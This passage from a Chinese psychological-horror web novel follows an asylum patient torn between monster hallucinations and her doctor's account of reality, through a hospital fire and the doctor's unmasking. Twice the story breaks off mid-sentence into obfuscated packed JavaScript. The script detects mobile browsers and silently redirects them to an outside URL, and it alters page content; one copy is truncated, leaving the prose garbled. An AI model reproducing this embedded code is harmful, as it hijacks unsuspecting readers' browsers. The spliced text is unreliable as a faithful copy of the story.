林归伞知道,因为她看过那部电影,这出自侠盗的角色经历。 陶泽歇斯底里地大笑起来,边笑边咳嗽,像是要将五脏六腑都呕出来。 “现在这个,反过来为了给我治疯病累进医院的,她不是我母亲,只是太像了我才忍不住搭话。” “在我的认知里,她也是怪物用来对付我的一员啊!” “你告诉我。”陶泽向林归伞伸出手,卑微而希冀地笑,“是怪物用我母亲的死,逼我承认这才是现实对不对?” 错了,都错了。 林归伞望着眼前已有疯魔之态的陶泽,突然产生一种前所未有的恐惧,与毛骨悚然的代入感。 就好像陶泽接替了她的命运,正在替她发疯。 林归伞清楚地记得,初见时陶泽还是个活泼善谈的普通青年。 他的世界观里没有怪物,只有伪装成精神病院的邪恶组织,捕获他这样的特殊人才做秘密实验。 他还记得陶欣然是他的母亲。 陶泽是在遇到她之后,被她的怪物论说服。 她从幻觉里解脱,他却在怪物论中一步步越来越偏执。 陶泽直到现在,还沉浸在妄想症中。 就连母亲的死亡也无法唤醒他。 到底为什么? 快点醒过来啊! 是她错了,不该告诉陶泽这世上有怪物存在的。 她不能理解陶泽莫名其妙的坚持。 可隐隐地,林归伞竟冒出一个不可思议的合理猜测。 怪物在用陶泽的经历敲打她,叫她必须认同祂们规定的现实。 不! 林归伞猛然给了自己一巴掌。 没有怪物,从来都没有。 陶泽为什么固执地认定怪物的存在,为什么不肯像她一样接受现实? 到底谁才是对的? 是他吗? 怎么可能? 可难不成是她? 耳边听着陶泽癫狂的大笑声,林归伞心跳陡然乱了套,呼吸杂乱无章,嗬嗬的喘气声宛如濒死。 她一步步往后退,脸色惨白,体温迅速冰冷,惊恐的泪水盈满眼眶。 整个世界都变得光怪陆离。 墙上模糊的花纹是一双双无情注视她的蓝眼睛,雪白的地狱里,陶泽烧焦的人形正凄惨地哀嚎求救,狰狞枯瘦的手臂徒劳伸向林归伞。 她的幻觉,复发了。 “幻觉。” 林归伞唇齿咀嚼这两个简短的字音,突然想发笑。 为什么还要缠着她阴魂不散? 跌跌撞撞走完人生中最长的这一段路,她终于摸索到了门口。 哆嗦着拧开门把手,她几乎是等不及落荒而逃。 走廊上熙熙攘攘,医护人员忙碌穿梭。 一切看在林归伞眼里,却是怪物们的狂欢盛宴。 身披黑色毛发的巨兽弯起一张竖直的嘴,生长在脑袋两侧的眼睛若有似无睨视着她的方向。 林归伞恍恍惚惚,迷失在怪物与人群中。 她忘了自己病人的身份。 忘了疯人院的异变,忘了杀害父母的真相,忘了幻觉与现实的错乱混淆。 她忘了自己身在何处。 叮咚—— 手机收到一条消息。 林归伞大脑一片空白,遵循下意识的身体反应点开屏幕。 眼中映入一条信息。 [暖心病友:调查结束,我回来啦!] [暖心病友:算起来时候也差不多,谢言竹应该快醒了。] [暖心病友:等他一醒。] [暖心病友:你就该知道什么是世界的真相了。] [暖心病友:~*^o^*~] 29. 第 29 章 当那几行明晃晃的字迹映入眼帘。 不及细想,林归伞惊惧地丢开了手机,远远一抛,不知落在谁的脚下。 又来了。 就像某种诅咒一样。 每当她以为摆脱了怪物与幻觉,终于能够回到那个并不美好,甚至十分残忍的现实。 总会出现某种意外,给她当头一棒,再次打回原形。 起初,她以为林雨停是杀害父母,篡改周围人记忆的怪物。 疯人院藏了另一只,她想用来驱虎吞狼。 可后来拉斐尔医生告诉她,谋杀父母的真凶是她自己,出于负罪感扭曲了现实,编造出虚无怪诞的幻觉。 林归伞接受了这个说法,因为合情合理。 再找不到比这更令她恐惧,更有信服力的说辞,沉甸甸的重量将她压得再不能翻身。 她以为自己凭借对真相的坚信不疑,能克服幻觉的。 但是极乐出现了。 蛮不讲理,一把掀翻压在她身上的无形大山。 他说怪物论才是那个逻辑自洽的,反倒是医生告诉她的真相里,存在一个如鲠在喉的漏洞。 她为什么要偏激地选择杀死父母? 林归伞不是这种性格。 只有这一点,贯穿在幻觉与现实的交替中,她能够无比笃定。 她比谁都喜欢那个家。 就算已经四分五裂,她也想要缝起来。 林归伞不敢承认她的动摇,因为简直就像逃避现实,给自己脱罪一样。 明明被解开了枷锁,她却主动背负起属于罪人的荆棘。 就像幼年期锁住的大象,长大后即便已是庞然大物,仍困在小时候的画地为牢里。 护士告诉她,极乐是个教唆犯。 拉斐尔医生带她探望从濒死线上救回来的谢言竹,极乐的上一个受害者。 极乐却为自己辩解,这些都是怪物凭空捏造。 到底谁的言论更加苍白可笑? 谢言竹醒过来了又怎样? 她难道会相信一个精神病人口中,装神弄鬼的世界真相? 陶泽的教训还不够吗! 林归伞愣愣地醒神,浑噩的脚步停下,靠着墙滑坐下来。 在她眼里,护士依然是怪物的模样,密密麻麻的蔚蓝眼球向她投以沉默的注视,医院雪白的天花板不知何时覆上霉菌。 白炽灯昏沉闪烁,打造出一个阴森腐败的巢穴,一条又一条像粘液又像肉触的东西悬垂落下。 “我认输了行不行?”林归伞忽然说。 她面向来往路过的行人,自言自语般朝空气高喊,“是我错了,我只是在说服自己相信现实,潜意识里依旧放不下幻觉。” “所以我认输,你放过我好不好?” 她哭得凄惨又狼狈,不知在对着谁恳求,“求你放过我,不要再出现在我眼前了!” “求饶又有什么用?” 病房里,陶泽听到她可怜又卑弱的乞求声,畅快地笑了起来,没过多久就只剩满心荒芜。 “是这所该死的疯人院啊,林归伞,我不止一次告诉你,信了怪物口中的话就完了。” “你活该沦落到这个地步!” “那我呢?”陶泽呆呆睁大了眼睛,像是刚从一场梦中惊醒,“原来我才是那个活该的人,我害死了我妈!” 陶泽疯疯癫癫地笑起来,摇摇晃晃下了病床。 “妈被我害死了,可谁知道那是不是我妈?” “都是这群怪物,都是这所疯人院的错对不对?” “无所谓了,都见鬼去吧。” 林归伞猛然扭头。 透过窗户,她看到陶泽撬开了插座外壳,面无表情剪断一截电线。 林归伞嘶声喊道:“快来人,病人想不开要自杀!” 她不知道这声呼唤有没有用,只能抓紧时间找到配电箱,一把拉下闸门。 轰! 爆炸声猝不及防响起,火光席卷了整个地下一层。 林归伞被气浪掀飞,勉强睁眼,一块边缘烧得焦黑卷曲的天花板倒映眸中,避无可避朝她沉沉坠落。 正当她陷入绝望时,一道人影朝她扑了过来。 二人滚作一团,险险擦过坠下的天花板,撞到走廊尽头的墙壁才堪堪停住。 林归伞艰难恢复视野,晓天仪正护在她上方,脸颊和手臂被灯管炸开的玻璃碎片擦出几道明显划痕。 反观林归伞自己,却被小心保护得很好。 “晓姐,你怎么在这?”林归伞惊讶喃道,她记得晓天仪与陶泽的事情无关,此时应该好好呆在病房。 还有刚才一拉电闸就产生的爆炸是怎么回事? 陶泽只是剪断了电线,最多因短路造成电起火,她拉闸的应对可以说很及时。 眼下顾不得这些,林归伞担忧看向晓天仪的伤口,又小心翼翼不敢触碰,“你没事吧?” 晓天仪摇了摇头,像感觉不到痛一样,行动自如拉她起身,“走,我带你抄近路去逃生通道。” “等等。”林归伞望向身后,“陶泽他——” “管他去死,反正是自找的!” 晓天仪按住她的肩膀,声音里是显而易见的怒气,“都这种时候了不抓紧时间疏散,还想着其他人,没接受过火灾逃生教育吗?” 林归伞笑容苦涩,“陶泽变成现在这个样子,是我的原因。” “他之前还是挺开朗的一个人,听信了我的话才病情加重,性格逐渐偏激,就连这次警察找上门的事件,我也参与其中。” 晓天仪皱起眉,“你们以前认识?” 林归伞摇了摇头,“算不上,搭过几次话而已。” “那你怎么知道他以前什么性格?”晓天仪嗤笑,“从我认识那小毛贼以来,他就一直是这副苦大仇深,偏执易激的死样子。” 林归伞愣住了。 …… 顶层办公室内,火灾警报铃急促响起。 二人却不为所动。 林雨停挑衅似的问,“你什么意思,质疑这剧本不是我写的?” 拉斐尔一手撑着桌子,姿态闲适道:“你没这个脑子。” 林雨停:“!” “以陶泽母亲重病为饵,诱他逃院偷盗财宝,再将这事捅给警察,顺理成章侵入疯人院。” “又因为这些都是院外发生的因素,我的掌控程度不及,即便加以阻拦也不一定能赢过全力而为的你。” 拉斐尔指关节扣响桌面,思忖后如实道:“以我对你的了解,脑筋弯弯绕绕的事你办不来。” 林雨停:“……” 他还真就无法反驳。 “那又如何?”林雨停强行嘴硬,“这是陶泽给我出的主意,不也证明我挑眷属的眼光十分独到。” 拉斐尔的镜片上闪过一丝晦暗不明的光,“陶泽?” 林雨停笑了笑,“这人我就和小伞一起带走了,毕竟答应要捞他一把。” “原来如此。” 拉斐尔突兀感慨了一声。 林雨停见状,得意地挑起嘴角,“这还是我第一次坑到你,被脑子转不过弯的人坑一把是不是不好受极了?” “叫你平时自视甚高,这下跌惨了吧。” 拉斐尔实在对他没眼看,“陶泽是我安插的棋子。” 林雨停笑容不上不下卡在嘴角,“?” 拉斐尔淡淡道:“是我特意将他从负一层放出来,借他之口让林归伞对我起疑心,然后一路追查找到我的分身。” 对上林雨停难以置信的眼神,他轻哂,“一个单方面被我谎言蒙骗的病人有什么好玩的?” “反反复复来回折腾,明明真相摆在眼前,却催眠自己视而不见才叫有意思。” 林雨停目光陡然阴狠。 …… 晓天仪口中描述的,与她初见时的陶泽简直判若两人。 林归伞清楚地目睹了进入负一层前后,陶泽性格的转变,从有些骄横爱嘚瑟的普通青年,到后来的刻薄阴郁。 她以为是自己的错,在陶泽眼里没能达成约定,听信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14938547|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪物的话,导致他也被关进负一层。 可如果,从始至终这就是两个不同的人呢? 她还记得陶泽烦躁时有个小习惯,喜欢挠一挠他爱惜的卷发,进入负一层后改为珍惜地摸。 突然间,林归伞大脑袭来强烈的晕眩,记忆像闪现的电子雪花屏。 她想起来了。 陶泽那么爱惜他的卷发,怎么可能丝毫不顾及地乱挠? 记忆中的画面被替换,她看到那头柔软蓬松的卷发之间,陶泽拼命抓挠的是寄生在他头皮表面,冷漠而戏谑的蔚蓝眼珠。 林归伞惊喘了一口气,后背已被冷汗打湿。 到底怎么回事? 她看向晓天仪,对方同样不解而略带担忧地注视她。 有没有可能是晓天仪记错了? 她患有阿尔海默兹症,记忆本来就是错乱的。 而刚刚陶泽被寄生的幻觉,只是她凭空虚构出来。 林归伞彻底分不清了。 火灾愈演愈烈,烧得变形的天花板发出令人牙酸的咯吱声,整个地下一层门墙倒塌,时不时有电器传来爆鸣。 晓天仪神色焦急,“还愣着干什么?到底是救陶泽还是跟我一起逃?” 林归伞浑浑噩噩抬眸,扯起嘴角,“救人。” 晓天仪咬牙,到底还是陪她一起,左右看了一圈,找到个尚未使用的灭火器。 她脱下外衣,绕了几圈缠在手上,抄起滚烫的灭火器,拽下保险栓,扑灭病房门后窜高的火焰。 林归伞便趁此机会,迅速将人事不省的陶泽拖了出来。 轰隆! 又是一声爆炸。 二人抱头蹲在地上,见余波过去,一边一个架起陶泽的肩膀。 晓天仪额上汗水滑落,正想转过一个拐角,脚步却止住,“路被封死,这下好了,大家一起玩完。” 危急关头,林归伞第一时间想到的,居然是极乐给她发的那几条短信。 她嘴唇干裂脱水,嗓子熏得嘶哑,“去谢言竹的病房。” 晓天仪怔了怔,“也对,重症监护室专门应对各种紧急情况而设计,那里可以短暂避难。” …… “先别急着对我动怒。”拉斐尔居高临下俯视林雨停,“动动你生锈的脑子。” “那个冒领陶泽的名义,从你手里骗取眷属烙印,到最后用来蒙骗我的家伙,那个除了你我之外的第三尊邪神,祂的目的又是什么?” 拉斐尔恶劣地笑道:“在我们互相敌视的这段时间里,你最珍而重之的林归伞,此刻说不定已经落入祂手中。” 林雨停紧抿嘴角,心底烦躁,反过来斥责他,“没用的东西,亏你自诩聪明,竟然还被这点伎俩蒙骗!” 拉斐尔:“……” 他懒得搭理这人,扶了扶眼镜,思索片刻,“跟我来吧,我大概知道祂在哪里了。” 地下一层,与重症监护室紧邻的医生办公室内。 拉斐尔领头推门而入,熊熊烈火像是畏惧他的身影,自行退避开。 林雨停紧随其后挤了进来。 办公桌前,极乐腿一蹬,旋转椅滚轮滑动,带着他转身。 他的病号服外套了一件不合尺寸的白大褂,松松垮垮,皱皱巴巴,鼻梁上架着一副拉斐尔同款眼镜。 极乐笑嘻嘻地说:“看见有一套多余衣装,就没忍住试了试。” “觉得怎么样,我穿起来好不好看?” 拉斐尔浅笑,“不大合适。” “哦。”极乐兴致缺缺丢开眼镜,嫌弃地脱了白大褂,“那是这身衣服丑。” 林雨停阴森道:“你把小伞怎么样了?” 极乐像这才注意到还有他这么个人,视线往他身上转了一圈,“别急啊老板。” 他步伐轻盈地迈出办公桌,露出身后在火灾中震塌的墙壁。 林归伞的视线透过墙缝,就这样毫无阻隔落在了林雨停和拉斐尔的身上。 极乐欢快地宣布—— “我们的睡美人,她终于醒了。” 30. 第 30 章 火势不知何时弱了下去,只在焦土废墟中散发最后的余热。 晓天仪呛咳几声,似是见危机已经告一段落,松懈之下再忍不住昏了过去,连带着陶泽死沉的身体一起滑落。 林归伞没有阻止,小心将这二人放在地上,偏过头。 摇摇欲坠的墙便在这时彻底倒塌,她与隔壁房间的三人再无阻拦。 短暂的寂静过后,拉斐尔神色如常,关切道:“林小姐怎么还在这里,不和其他人一起疏散吗?” 林归伞咳出一口嗓子里的烟,声音低哑地说:“逃生通道的路堵死了,只能先来这里避难。” “医生呢?你也就算了,为什么我哥也在?” 拉斐尔头疼地往边上一瞥,极乐正一屁股坐在桌子上,津津有味看戏。 “我追着他来的。”尽职尽责的医生说,“至于林小姐的哥哥,路上遇到实在担心你就跟过来了。” 林雨停张嘴就想说放屁。 被拉斐尔不着痕迹睨了眼,读懂这一眼合作对外的意思,他越发不服气。 极乐是个目的不明的二五仔又怎样?不还是在小伞面前揭穿了这变态医生的真面目? 为了让小伞从这个噩梦般的世界真正醒过来,他就算被当做杀害她双亲的怪物也在所不惜。 林雨停如黑曜石般的纯净深邃眼眸里,浮动起雪花片似的霉斑。 异样的气息正自他身上涌现,仿佛油画上挥毫落下的水墨丹青,撕开这个世界隐隐的割裂感。 极乐便是在此时出声。 “不会吧不会吧,不会真有人以为他那老掉牙的招数还能起效吧?”白发少年夸张捂住嘴,啧啧有声地惊叹。 他扭头问林归伞,“睡美人小姐,你还困吗?” 林归伞摇摇头,“睡得够久了,有种这辈子都不想再合眼的感觉。” 拉斐尔听他们的一问一答,神色逐渐变得严肃,“林小姐,你还是听信了极乐的话。” “也许吧。” 林归伞满不在乎地说,摸了把脸颊上的黑灰,叹气道:“医生,我受够了这一切。” “你说是我杀害了父母,出于负罪感扭曲现实,编造出怪物的幻觉。” 拉斐尔轻轻颔首。 林归伞坦然道:“过去我就是深陷在这样的痛苦中,分不清现实与幻觉。” “世界上有怪物,怪物能随心所欲篡改现实,所以无论发生什么都是符合逻辑的。” “反倒是我杀害父母的那套说辞,在动机方面并不能完全成立。” 林归伞笑了笑,她说起这件事已经能用平静的态度,“父亲与母亲,两条生命实质性的重量,像极了现实才有的沉重。” “怪物存在的世界太美好了,我只需要将所有罪责一股脑甩给我哥,满心满眼只要报复他就好。” 林雨停被打断的不满散去,眼神复杂与她对视。 视线的接触只有一刹,林归伞率先挪了目光,淡淡地说:“两套世界观的割裂,造就了我摇摆不定的痛苦。” “极乐所说都是真的,极乐是个教唆犯。” “财宝的存在证明陶泽的侠盗身份不是妄想,那套挖出来的财宝实际上中途被萧夺替换。” “这场火灾的背后是一场悲剧,但那其实是几个怪物之间的博弈。” 林归伞逐一细数,进入负一层后发生的各种怪事,“好像无论那种说法都合情合理,甚至里面还有我自己的找补。” “我分不清。” “也没必要分清。” 说出这句话的时候,她长舒了一口气。 终于不用再一味地坚持,告诫自己切勿受幻觉诱惑。 林归伞眉眼弯弯,畅快地拍了下手,“我突然发现两套世界观是可以融合的。” “怪物们真实存在,祂是潜意识对现实的夸张表达,是那些我未曾意识到的暗流汹涌,现实也不一定要逻辑缜密,有时候比小说更无厘头更夸张。” “我不知道杀害父母的凶手是谁,是我,还是他林雨停?” 林归伞伸手指了指兄妹俩,又耸耸肩,“但我唯一可以确定的是,对这件事除了深深的心痛之外,我并没有罪恶感。” 拉斐尔欲言又止。 “医生。”林归伞径直打断他,“你也不用做出一副犹豫自责的模样,好像我走入了什么歧路。” “我不相信任何人,包括极乐在内,他在我眼里也没安好心。” 极乐莫名被她提一嘴,委屈巴巴,满眼控诉。 林归伞全当没看见,她憋屈了这么多天,好不容易心境豁然开朗,一时间说上了头,“我连自己反复横跳的记忆都不信,但我相信自己的直觉,相信潜意识对某件事的第一感受。” “拉斐尔。” 她直呼其名,不讲礼貌,更没带医生的称呼。 拉斐尔第一次见到这样的她。 撕开平日里文静内敛的印象,就像大家闺秀的千金小姐扯下繁复裙装,回归天性使然的自在与逍遥。 林归伞眸光清澈,“也许在现实里这就是医院,你也是一个考了资格证的医生。” “但我看到的是陶泽身上发生的悲剧,是谢言竹的自杀未遂,是晓天仪几年时间的孤苦。” “治不好就别治,反倒害我们白受罪。” 林归伞直言,“病人们好端端待在自己的精神世界中,无知无觉地幸福度日,是医院非得将他们拉回现实,又做得不彻底。” “知道这在我看来像什么吗?” 林归伞轻声嗤笑,“要么这座疯人院在刻意折磨所有病患。” “要么,就是拉斐尔你,是个无能的庸医。” 拉斐尔面露错愕。 这位金发碧眼,年轻俊美的外国医生,怕是此生都没听过这种言论。 蔚蓝澄澈的眼眸微微睁大,内里一汪湖泊掀起剧烈涟漪,带来斯文气质的银框眼镜也无法遮掩他的猝不及防。 死一般的沉寂持续了很久。 “噗嗤。”极乐率先忍不住,海豹式拍肚皮,笑得肩膀直发抖,眼泪都流了出来,“庸医……噗哈哈哈……庸医!” 他甚至念了两遍,才擦了擦眼角问,“怎么想出这个的?林归伞你简直是个天才!” 林雨停也控制不住上扬的嘴角,一脸的幸灾乐祸。 拉斐尔的惊愕只持续了短暂数秒,他舒缓眉眼,很快敛了表情恢复从容。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14946483|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他推了推眼镜,噙着无奈的笑,慢条斯理地说:“林小姐,你明明猜到了真相,却宁肯相信我是一个庸医。” “该说是受宠若惊吗?” 林归伞一怔。 真相?什么真相? 她回忆起方才的无心之言—— 疯人院在刻意折磨病患。 林归伞霍然仰头,正见拉斐尔直直注视着她,一双蔚蓝的眼眸半垂,本该纯净柔和的色彩却流溢出极深的恶意与嘲谑。 她看到拉斐尔双手合拢,仿佛在温柔地捧起这遍地狼藉。 与此同时,整座疯人院随他的心意而动,四处散落的电线蛇一般游回墙体,破碎的灯管与天花板向上空飘浮,恍若雪白的纸片间闪烁着的云母粉。 负一层正在倒退回火灾发生前,一切竟显得如梦似幻。 紧接着,林归伞察觉有什么东西包裹上她的身体,力道轻轻柔柔,她却像被抽空了力气般,四肢沉重如灌了水泥,根本挣脱不得。 意识也变得昏沉起来,眼皮直往下坠。 朦胧间,她听到林雨停震怒的声音,还有极乐惊慌失措地抱怨某人不讲武德。 她的世界就这样彻底陷入黑暗。 再然后,耳边听到了清脆的滴滴声,间隔一定频率响起,清凉的空气几乎是强行灌入鼻腔,与肺部火烧火燎的疼痛形成鲜明对比。 林归伞睁开眼,映入眼帘的是医院天花板。 她试图起身,四肢酸胀难耐,稍微一动就是撕扯般的剧痛,肌肉仿佛成了磨损殆尽的橡皮筋,一星半点的拉力就能崩断。 林归伞只颤巍巍抬了下脑袋,就重新倒回去,她只能艰难转动脖子,看清自己眼下的处境。 床头正有一台运作中的呼吸机,输氧管顺着床沿一路连接到她的鼻下,之前听到的滴滴声源自心电图。 她这是,怎么了? 没过多久,能给予她解答的人自门口现身。 拉斐尔身着一丝不苟的白大褂,金色过肩长发梳理得柔顺,因他俯身的动作垂下几缕,扫过那双蔚蓝的眼眸。 他含笑说:“林小姐,你终于醒了。” 林归伞张了张嘴,嗓子像被刀割过一般的疼。 拉斐尔赶忙叫住她,“火灾的时候呛入太多烟尘,你现在不宜说话。” 林归伞盯着那张脸片刻,眨了眨眼,记忆瞬间回笼。 在极乐的暗示下前往重症监护室避难,她见到了与林雨停一起出现的拉斐尔。 她冷笑,顽强用气音说:“不甘心被我识破,于是整这一出吗?” “你这次又是写的什么剧本?大火中来不及撤离,熏哑了嗓子,躺床上半天不能动弹的可怜虫?以为这样能困住我?” 林归伞腰肢绷紧,用上全部力气试图直起身。 拉斐尔就站在一旁,冷眼旁观她憋红了脸地挣扎,一直等她即将坐起,才像玩弄猎物的猫科动物般姗姗来迟,一指头将她戳倒。 “林小姐应当好生修养。” 他不含感情地叹息道,微凉的指尖轻轻拨弄林归伞汗水岑岑的额发,替她撩至耳后。 “不论你对我有什么误会,赌上医生的名义,我一定会治好你。”